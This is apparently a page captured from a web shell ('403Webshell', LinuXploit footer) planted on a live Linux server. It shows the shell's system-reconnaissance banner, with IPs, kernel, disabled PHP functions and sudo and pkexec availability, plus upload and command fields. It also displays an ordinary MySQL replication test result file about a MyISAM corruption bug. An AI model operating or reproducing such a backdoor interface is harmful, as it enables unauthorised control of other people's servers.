403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.189.231
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/r/myisam_row_rpl.result
include/master-slave.inc
Warnings:
Note	####	Sending passwords in plain text without SSL/TLS is extremely insecure.
Note	####	Storing MySQL user name or password information in the master info repository is not secure and is therefore not recommended. Please consider using the USER and PASSWORD connection options for START SLAVE; see the 'START SLAVE Syntax' in the MySQL Manual for more information.
[connection master]
#
# Bug#11940249: RBR: MYISAM TABLE CORRUPTION AFTER FIRST LARGE INSERT
#               ON SLAVE
#
# Must have > 100 rows in the first rpl event (to trigger bulk_insert
# optimization for insert into an empty table, by disable all non-unique
# indexes and recreate them afterwards.)
# and then it must be a second rpl event for the same insert (i.e.
# during the same lock).
# Note that --binlog-row-event-max-size=1024 is set in the .opt files
# to enforce the default size.
CREATE TABLE tmp (a VARCHAR(10), b INT) ENGINE=Memory;
INSERT INTO tmp VALUES ('aZa', 1), ('zAz', 2), ('M', 3);
INSERT INTO tmp SELECT * FROM tmp;
INSERT INTO tmp SELECT * FROM tmp;
INSERT INTO tmp SELECT * FROM tmp;
INSERT INTO tmp SELECT * FROM tmp;
INSERT INTO tmp SELECT * FROM tmp;
INSERT INTO tmp SELECT * FROM tmp;
CREATE TABLE t
(a VARCHAR(10),
b INT,
KEY a (a))
ENGINE = MyISAM;
INSERT INTO t SELECT * FROM tmp;
# on slave:
SELECT COUNT(*) FROM t WHERE b > -1;
COUNT(*)
192
# on master:
include/show_binlog_events.inc
Log_name	Pos	Event_type	Server_id	End_log_pos	Info
master-bin.000001	#	Query	#	#	BEGIN
master-bin.000001	#	Table_map	#	#	table_id: # (test.t)
master-bin.000001	#	Write_rows	#	#	table_id: #
master-bin.000001	#	Write_rows	#	#	table_id: # flags: STMT_END_F
master-bin.000001	#	Query	#	#	COMMIT
RENAME TABLE t to t_2;
RENAME TABLE t_2 to t;
# on slave:
SELECT COUNT(*) FROM t WHERE b > -1;
COUNT(*)
192
CHECK TABLE t;
Table	Op	Msg_type	Msg_text
test.t	check	status	OK
REPAIR TABLE t;
Table	Op	Msg_type	Msg_text
test.t	repair	status	OK
SELECT COUNT(*) FROM t WHERE b > -1;
COUNT(*)
192
include/diff_tables.inc [master:t, slave:t]
DROP TABLE t, tmp;
include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit